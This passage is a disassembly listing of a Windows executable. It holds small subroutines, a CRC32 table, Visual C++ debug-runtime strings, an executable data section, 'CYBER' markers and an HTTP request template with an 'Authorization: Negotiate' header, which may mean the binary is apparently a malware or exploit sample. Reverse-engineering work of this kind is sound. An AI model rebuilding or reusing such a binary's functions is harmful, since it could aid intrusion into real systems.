pop ebp
retn
sub_43B420 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B710 proc near ; CODE XREF: sub_43B420+94p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
loc_43B722: ; CODE XREF: sub_43B710+37j
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
test edx, edx
jz short loc_43B749
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
test edx, edx
jz short loc_43B749
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
jmp short loc_43B722
; ---------------------------------------------------------------------------
loc_43B749: ; CODE XREF: sub_43B710+20j
; sub_43B710+2Cj
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
test edx, edx
jnz short loc_43B75F
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
sar eax, 1
jmp short loc_43B762
; ---------------------------------------------------------------------------
loc_43B75F: ; CODE XREF: sub_43B710+43j
mov eax, [ebp+arg_4]
loc_43B762: ; CODE XREF: sub_43B710+4Dj
mov esp, ebp
pop ebp
retn
sub_43B710 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B770 proc near ; CODE XREF: sub_43B360+6Ep
; _0:0043B7FDp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and eax, 0FFFFh
cmp eax, 0FFFFh
jnz short loc_43B787
xor eax, eax
jmp short loc_43B7E3
; ---------------------------------------------------------------------------
loc_43B787: ; CODE XREF: sub_43B770+11j
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
cmp ecx, 100h
jge short loc_43B7B0
mov edx, [ebp+arg_0]
and edx, 0FFFFh
mov eax, ds:off_453BE8
mov cx, [eax+edx*2]
mov word ptr [ebp+var_4], cx
jmp short loc_43B7D0
; ---------------------------------------------------------------------------
loc_43B7B0: ; CODE XREF: sub_43B770+26j
push 0
push 0
lea edx, [ebp+var_4]
push edx
push 1
lea eax, [ebp+arg_0]
push eax
push 1
call sub_438CA0
add esp, 18h
test eax, eax
jnz short loc_43B7D0
xor eax, eax
jmp short loc_43B7E3
; ---------------------------------------------------------------------------
loc_43B7D0: ; CODE XREF: sub_43B770+3Ej
; sub_43B770+5Aj
mov eax, [ebp+var_4]
and eax, 0FFFFh
mov ecx, [ebp+arg_4]
and ecx, 0FFFFh
and eax, ecx
loc_43B7E3: ; CODE XREF: sub_43B770+15j
; sub_43B770+5Ej
mov esp, ebp
pop ebp
retn
sub_43B770 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov ax, [ebp+0Ch]
push eax
mov cx, [ebp+8]
push ecx
call sub_43B770
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
loc_43B810: ; DATA XREF: _1:0043E344o
lea ecx, [ebp-3Ch]
jmp sub_40DC3D
; ---------------------------------------------------------------------------
mov eax, [ebp-24h]
and eax, 1
test eax, eax
jz locret_43B82E
mov ecx, [ebp+8]
jmp sub_40DC3D
; ---------------------------------------------------------------------------
locret_43B82E: ; CODE XREF: _0:0043B820j
retn
; ---------------------------------------------------------------------------
loc_43B82F: ; DATA XREF: sub_40D7E4o
mov eax, offset dword_43E348
jmp sub_420420
; ---------------------------------------------------------------------------
lea ecx, [ebp+14h]
jmp sub_40DC3D
; ---------------------------------------------------------------------------
loc_43B841: ; DATA XREF: _1:0043E370o
lea ecx, [ebp-1Ch]
jmp sub_40DC3D
; ---------------------------------------------------------------------------
loc_43B849: ; DATA XREF: sub_40D95Bo
mov eax, offset dword_43E374
jmp sub_420420
; ---------------------------------------------------------------------------
align 4
loc_43B854: ; DATA XREF: sub_40E056o
mov eax, offset dword_43E3C4
jmp sub_420420
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-38h]
call sub_40DC3D
retn
; =============== S U B R O U T I N E =======================================
SEH_43A460 proc near ; DATA XREF: sub_43A460+5o
mov eax, offset dword_43E460
jmp sub_420420
SEH_43A460 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
call sub_43B080
retn
; =============== S U B R O U T I N E =======================================
SEH_43A4C0 proc near ; DATA XREF: sub_43A4C0+5o
mov eax, offset dword_43E488
jmp sub_420420
SEH_43A4C0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
call sub_43B080
retn
; =============== S U B R O U T I N E =======================================
SEH_43A580 proc near ; DATA XREF: sub_43A580+5o
mov eax, offset dword_43E4D0
jmp sub_420420
SEH_43A580 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-14h]
call sub_43B080
retn
; =============== S U B R O U T I N E =======================================
SEH_43A640 proc near ; DATA XREF: sub_43A640+5o
mov eax, offset dword_43E4F8
jmp sub_420420
SEH_43A640 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-38h]
call sub_40DC3D
retn
; =============== S U B R O U T I N E =======================================
SEH_43A760 proc near ; DATA XREF: sub_43A760+5o
mov eax, offset dword_43E560
jmp sub_420420
SEH_43A760 endp
_0 ends
; Section 2. (virtual address 0003C000)
; Virtual size : 00002588 ( 9608.)
; Section size in file : 00002588 ( 9608.)
; Offset to raw data for section: 0003C000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_1 segment para public 'CODE' use32
assume cs:_1
;org 43C000h
assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
dd 0
dd 469D99F3h, 0
dd 2, 61h, 0
dd 59800h, 0
dword_43C020 dd 0 ; DATA XREF: sub_401071+24r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber db 'CYBER',0 ; DATA XREF: sub_401C87+3477o
; sub_401C87+355Ao ...
align 4
aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401C87+387Eo
; sub_401C87+38BAo ...
align 10h
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D95B+68o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dbl_43C470 dq 1.388888888888889e-2 ; DATA XREF: sub_40D798+2Fr
dbl_43C478 dq 1.666666666666667e-1 ; DATA XREF: sub_40D798+15r
dbl_43C480 dq 1.333333333333333 ; DATA XREF: sub_40D7E4+70r
dword_43C488 dd 0 ; DATA XREF: sub_40DCD7:loc_40DF40o
flt_43C48C dd 5.0e-1 ; DATA XREF: sub_40E29B+38Fr
dbl_43C490 dq 9.765625e-4 ; DATA XREF: sub_416D68+2B8r
; sub_416D68+2CDr ...
dbl_43C498 dq -1.52587890625e-4 ; DATA XREF: sub_418428+3D3r
dbl_43C4A0 dq 3.0517578125e-4 ; DATA XREF: sub_418428+3B4r
dbl_43C4A8 dq -3.0517578125e-4 ; DATA XREF: sub_418428+332r
; sub_418428+396r
dbl_43C4B0 dq 1.52587890625e-4 ; DATA XREF: sub_418428+26Dr
dbl_43C4B8 dq -1.739501953125e-3 ; DATA XREF: sub_418428+248r
; sub_418428+2D1r ...
dbl_43C4C0 dq 3.11279296875e-3 ; DATA XREF: sub_418428+E1r
dbl_43C4C8 dq 3.0517578125e-5 ; DATA XREF: sub_418428+AEr
; sub_418428+137r ...
dbl_43C4D0 dq 6.103515625e-5 ; DATA XREF: sub_418428+93r
; sub_418428+2FDr
dbl_43C4D8 dq 2.288818359375e-3 ; DATA XREF: sub_418428+21r
dbl_43C4E0 dq -3.0517578125e-5 ; DATA XREF: sub_419313+2Br
flt_43C4E8 dd 9.765625e-4 ; DATA XREF: sub_41B161+1B0r
flt_43C4EC dd 8.0 ; DATA XREF: sub_41B161+1AAr
flt_43C4F0 dd 0.0 ; DATA XREF: sub_41B161+16Fr
flt_43C4F4 dd 1.0e-3 ; DATA XREF: sub_41B161+166r
dword_43C4F8 dd 6F6C6366h, 632E6573h, 0 ; DATA XREF: sub_41BCF0+1Do
; sub_41BD80+25o
dword_43C504 dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch ; DATA XREF: sub_41BCF0+14o
; sub_420FE0+Do ...
dword_43C514 dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h
; DATA XREF: sub_41BD80+1Co
; sub_41EFB0+45o ...
dd 6572h, 545243h, 6D726F4Eh, 6C61h
aFree db 'Free',0 ; DATA XREF: _2:off_4517F0o
align 8
dword_43C548 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41BEC0+5o
dd offset sub_41BF1D
aErrorMemoryAll db 'Error: memory allocation: bad memory block type.',0Ah,0
; DATA XREF: sub_41BF80:loc_41C0EAo
; sub_41C3F0:loc_41C570o
align 4
aInvalidAllocat db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_41BF80+11Bo
aS_19 db '%s',0 ; DATA XREF: sub_41BF80+BCo
; sub_41BF80+16Fo ...
align 10h
aClientHookAl_0 db 'Client hook allocation failure.',0Ah,0
; DATA XREF: sub_41BF80:loc_41C037o
align 4
aClientHookAllo db 'Client hook allocation failure at file %hs line %d.',0Ah,0
; DATA XREF: sub_41BF80+94o
align 4
aDbgheap_c db 'dbgheap.c',0 ; DATA XREF: sub_41BF80+31o
; sub_41C3F0+77o ...
align 4
a_crtcheckmemor db '_CrtCheckMemory()',0 ; DATA XREF: sub_41BF80+25o
; sub_41C3F0+6Bo ...
align 10h
dword_43C630 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41C360+5o
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
dw 41h
a_pfirstblockPo db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_41C3F0+499o
align 4
a_plastblockPol db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_41C3F0+445o
align 4
aFreallocFreall db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0
; DATA XREF: sub_41C3F0:loc_41C7D6o
align 4
a_block_typePol db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0
; DATA XREF: sub_41C3F0+277o
align 4
aPoldblockNline db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_'
; DATA XREF: sub_41C3F0:loc_41C601o
db 'REQ',0
align 4
a_crtisvalidhea db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_41C3F0+1B6o
; sub_41CA80+A8o ...
align 10h
aAllocationTooL db 'Allocation too large or negative: %u bytes.',0Ah,0
; DATA XREF: sub_41C3F0+136o
align 10h
aClientHookRe_0 db 'Client hook re-allocation failure.',0Ah,0
; DATA XREF: sub_41C3F0:loc_41C4EFo
aClientHookReAl db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0
; DATA XREF: sub_41C3F0+DCo
align 10h
dword_43C7E0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41C940+5o
dd offset sub_41C9A3
align 10h
dword_43C7F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41CA10+5o
dd offset sub_41CA62
a_pfirstblockPh db '_pFirstBlock == pHead',0 ; DATA XREF: sub_41CA80+35Do
align 4
a_plastblockPhe db '_pLastBlock == pHead',0 ; DATA XREF: sub_41CA80+307o
align 4
aPheadNblockuse db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_41CA80+29Co
; sub_41CE90+133o
align 4
aPheadNlineIgno db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0
; DATA XREF: sub_41CA80:loc_41CCA4o
align 4
aDamageAfterHsB db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0
; DATA XREF: sub_41CA80+1E5o
; sub_41D1D0+265o
align 4
aDamageBeforeHs db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0
; DATA XREF: sub_41CA80+17Fo
; sub_41D1D0+208o
align 4
a_block_type_is db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_41CA80+10Ao
; sub_41CE90+E2o ...
align 4
aClientHookFree db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_41CA80:loc_41CAEDo
align 4
dword_43C928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41CE90+5o
dd offset sub_41D001
align 8
dword_43C938 dd 0FFFFFFFFh, 0 ; DATA XREF: _0:0041D045o
dd offset sub_41D0FD
aMemoryCheckErr db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0
; DATA XREF: sub_41D140+54o
align 10h
aHsLocatedAt0x0 db '%hs located at 0x%08X is %u bytes long.',0Ah,0
; DATA XREF: sub_41D1D0+33Ao
align 4
aHsAllocatedAtF db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_41D1D0+307o
aDamageOnTopOfF db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0
; DATA XREF: sub_41D1D0+2BEo
align 4
aDamaged db 'DAMAGED',0 ; DATA XREF: sub_41D1D0:loc_41D3A4o
a_heapchkFail_3 db '_heapchk fails with unknown return value!',0Ah,0
; DATA XREF: sub_41D1D0:loc_41D2FCo
align 4
a_heapchkFail_2 db '_heapchk fails with _HEAPBADPTR.',0Ah,0
; DATA XREF: sub_41D1D0:loc_41D2D4o
align 10h
a_heapchkFail_1 db '_heapchk fails with _HEAPBADEND.',0Ah,0
; DATA XREF: sub_41D1D0:loc_41D2ACo
align 4
a_heapchkFail_0 db '_heapchk fails with _HEAPBADNODE.',0Ah,0
; DATA XREF: sub_41D1D0:loc_41D284o
align 4
a_heapchkFailsW db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0
; DATA XREF: sub_41D1D0:loc_41D259o
align 10h
dword_43CAC0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D1D0+5o
dd offset sub_41D545
align 10h
dword_43CAD0 dd 0FFFFFFFFh, 0 ; DATA XREF: _0:0041D5B5o
dd offset sub_41D63D
align 10h
dword_43CAE0 dd 0FFFFFFFFh, 0 ; DATA XREF: _0:0041D7E5o
dd offset sub_41D8E6
aBadMemoryBlock db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_41D930+13Co
align 10h
a_crtmemcheckpo db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0
; DATA XREF: sub_41D930:loc_41D959o
dword_43CB38 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D930+5o
dd offset sub_41DAB8
a_crtmemdiffere db '_CrtMemDifference: NULL state pointer.',0Ah,0
; DATA XREF: _0:loc_41DB02o
aObjectDumpComp db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_41DC10:loc_41DECCo
align 4
aCrtBlockAt0x08 db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
; DATA XREF: sub_41DC10+271o
align 4
aNormalBlockAt0 db 'normal block at 0x%08X, %u bytes long.',0Ah,0
; DATA XREF: sub_41DC10+214o
aClientBlockAt0 db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
; DATA XREF: sub_41DC10+1A9o
aLd db '{%ld} ',0 ; DATA XREF: sub_41DC10+15Ao
align 4
aHsD db '%hs(%d) : ',0 ; DATA XREF: sub_41DC10+132o
align 4
aFileErrorD db '#File Error#(%d) : ',0 ; DATA XREF: sub_41DC10+101o
aDumpingObjects db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_41DC10:loc_41DC4Bo
dword_43CC50 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41DC10+5o
dd offset sub_41DEC1
aDataSS db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_41DF10+ECo
a_2x db '%.2X ',0 ; DATA XREF: sub_41DF10+BFo
align 4
aDetectedMemory db 'Detected memory leaks!',0Ah,0 ; DATA XREF: sub_41E030:loc_41E064o
aTotalAllocatio db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: _0:0041E14Do
align 4
aLargestNumberU db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: _0:0041E125o
align 10h
aLdBytesInLdHsB db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: _0:0041E0FBo
align 10h
aMode_t0 db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41E390+95o
align 4
aModeNull db 'mode != NULL',0 ; DATA XREF: sub_41E390+67o
; sub_4277D0+4Fo
align 4
aFile_t0 db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41E390+3Do
align 4
aFopen_c db 'fopen.c',0 ; DATA XREF: sub_41E390+18o
; sub_41E390+46o ...
aFileNull db 'file != NULL',0 ; DATA XREF: sub_41E390+Fo
align 10h
aFormatNull db 'format != NULL',0 ; DATA XREF: sub_41EA60+45o
; sub_41EC30+45o ...
align 10h
aSprintf_c db 'sprintf.c',0 ; DATA XREF: sub_41EA60+24o
; sub_41EA60+4Eo ...
align 4
aStringNull db 'string != NULL',0 ; DATA XREF: sub_41EA60+1Bo
; sub_41EC30+1Bo ...
align 4
aFgets_c db 'fgets.c',0 ; DATA XREF: sub_41EFB0+24o
; sub_41EFB0+4Eo
aFprintf_c db 'fprintf.c',0 ; DATA XREF: sub_41F4E0+1Eo
; sub_41F4E0+48o
align 10h
aVsprintf_c db 'vsprintf.c',0 ; DATA XREF: sub_41F9C0+1Eo
; sub_41F9C0+48o
align 4
aSscanf_c db 'sscanf.c',0 ; DATA XREF: sub_41FF30+24o
; sub_41FF30+4Eo
align 4
dbl_43CD98 dq 1.0 ; DATA XREF: sub_41FFF0+99r
; sub_420210+99r ...
dword_43CDA0 dd 64676264h, 632E6C65h, 7070h ; DATA XREF: sub_420B80+62o
dword_43CDAC dd 78656E6Fh, 632E7469h, 0 ; DATA XREF: sub_420C50+2Eo
; sub_420D30+8o
dword_43CDB8 dd 65657366h, 632E6Bh ; DATA XREF: sub_420FE0+16o
; sub_421050+19o
dword_43CDC0 dd 75727473h, 632E7270h, 0 ; DATA XREF: sub_421620+133o
dword_43CDCC dd 7473626Dh, 7363776Fh, 632Eh ; DATA XREF: sub_421F10+32o
dword_43CDD8 dd 3D212073h, 4C554E20h, 4Ch, 0 ; DATA XREF: sub_421F10+29o
dword_43CDE8 dd 0FFFFFFFFh, 422232h, 42224Dh ; DATA XREF: _0:00422105o
dword_43CDF4 dd 6C69665Fh, 632E65h, 65737341h, 6F697472h, 6146206Eh
; DATA XREF: sub_4222D0+31o
; sub_4222D0+65o ...
dd 64656C69h, 0
aError db 'Error',0 ; DATA XREF: _2:00451AE8o
align 4
aWarning db 'Warning',0 ; DATA XREF: _2:off_451AE4o
aSDS db '%s(%d) : %s',0 ; DATA XREF: sub_422610+1FFo
asc_43CE2C: ; DATA XREF: sub_422610:loc_4227E6o
dw 0Ah
unicode 0, <>,0
asc_43CE30: ; DATA XREF: sub_422610+1C2o
dw 0Dh
unicode 0, <>,0
aAssertionFai_0 db 'Assertion failed!',0 ; DATA XREF: sub_422610:loc_422785o
align 4
aAssertionFaile db 'Assertion failed: ',0 ; DATA XREF: sub_422610+169o
align 4
a_crtdbgreportS db '_CrtDbgReport: String too long or IO Error',0
; DATA XREF: sub_422610+149o
; sub_422610+21Co ...
align 4
aSecondChanceAs db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0
; DATA XREF: sub_422610+E6o
align 4
aWsprintfa db 'wsprintfA',0 ; DATA XREF: sub_422610+B6o
align 4
aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_422610+9Co
; sub_430AA0+16o
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_4229A0+2C2o
align 4
aDebugSProgramS db 'Debug %s!',0Ah ; DATA XREF: sub_4229A0+28Co
db 0Ah
db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah
db 0Ah
db '(Press Retry to debug the application)',0
align 4
aModule db 0Ah ; DATA XREF: sub_4229A0+221o
db 'Module: ',0
align 4
aFile_1 db 0Ah ; DATA XREF: sub_4229A0+1E1o
db 'File: ',0
aLine db 0Ah ; DATA XREF: sub_4229A0+1AAo
db 'Line: ',0
asc_43CF68 db 0Ah ; DATA XREF: sub_4229A0+173o
; sub_42FF30+171o
db 0Ah,0
align 4
aExpression db 'Expression: ',0 ; DATA XREF: sub_4229A0+153o
align 4
dword_43CF7C dd 0 ; DATA XREF: sub_4229A0:loc_422ABAo
; sub_4229A0:loc_422AD9o ...
aForInformation db 0Ah ; DATA XREF: sub_4229A0+10Eo
db 0Ah
db 'For information on how your program can cause an assertion',0Ah
db 'failure, see the Visual C++ documentation on asserts.',0
align 4
a___ db '...',0 ; DATA XREF: sub_4229A0+9Co
; sub_4229A0+F4o ...
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4229A0+56o
; sub_42FF30+EDo
align 10h
aDbgrpt_c db 'dbgrpt.c',0 ; DATA XREF: sub_4229A0+1Fo
align 4
aSzusermessageN db 'szUserMessage != NULL',0 ; DATA XREF: sub_4229A0+13o
align 4
a_freebuf_c db '_freebuf.c',0 ; DATA XREF: sub_422DE0+15o
align 10h
aMlock_c db 'mlock.c',0 ; DATA XREF: sub_423280+16o
dword_43D048 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4234C0+5o
dd offset sub_423525
dd 0FFFFFFFFh, 0
dd offset sub_4235A7
dword_43D060 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423620+5o
dd offset sub_4236C1
dd 0FFFFFFFFh, 0
dd offset sub_4237BA
dword_43D078 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423830+5o
dd offset sub_4239F8
dd 0FFFFFFFFh, 0
dd offset sub_423C0F
dword_43D090 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423CD0+5o
dd offset sub_423D4B
dd 0FFFFFFFFh, 0
dd offset sub_423DCD
dword_43D0A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423E20+5o
dd offset sub_423E82
dd 0FFFFFFFFh, 0
dd offset sub_423EC7
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_426C90+B9o
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_426C90+5Ao
align 10h
a_filbuf_c db '_filbuf.c',0 ; DATA XREF: sub_427100+18o
align 4
a_open_c db '_open.c',0 ; DATA XREF: sub_4277D0+2Eo
; sub_4277D0+58o ...
aFilenameNull db 'filename != NULL',0 ; DATA XREF: sub_4277D0+25o
align 4
aStream_c db 'stream.c',0 ; DATA XREF: sub_427B60+C1o
align 4
aInconsistentIo db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0
; DATA XREF: sub_427CE0+162o
align 4
a_flsbuf_c db '_flsbuf.c',0 ; DATA XREF: sub_427CE0+18o
; sub_427CE0+16Eo
align 10h
byte_43D170 db 6 ; DATA XREF: sub_427F60+8Fr
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: _2:off_453E00o
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: _2:off_453DFCo
align 4
aOutput_c db 'output.c',0 ; DATA XREF: sub_427F60+122o
align 10h
aCh_t0 db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_427F60+116o
align 10h
aTidtable_c db 'tidtable.c',0 ; DATA XREF: sub_428E00+23o
; sub_428EE0+29o
align 4
a_sftbuf_c db '_sftbuf.c',0 ; DATA XREF: sub_429C90+18o
; sub_429C90+B2o ...
align 4
aFlag0Flag1 db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_429DF0+13o
align 10h
aInput_c db 'input.c',0 ; DATA XREF: sub_429E90+1Eo
; sub_429E90+4Bo
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 10h
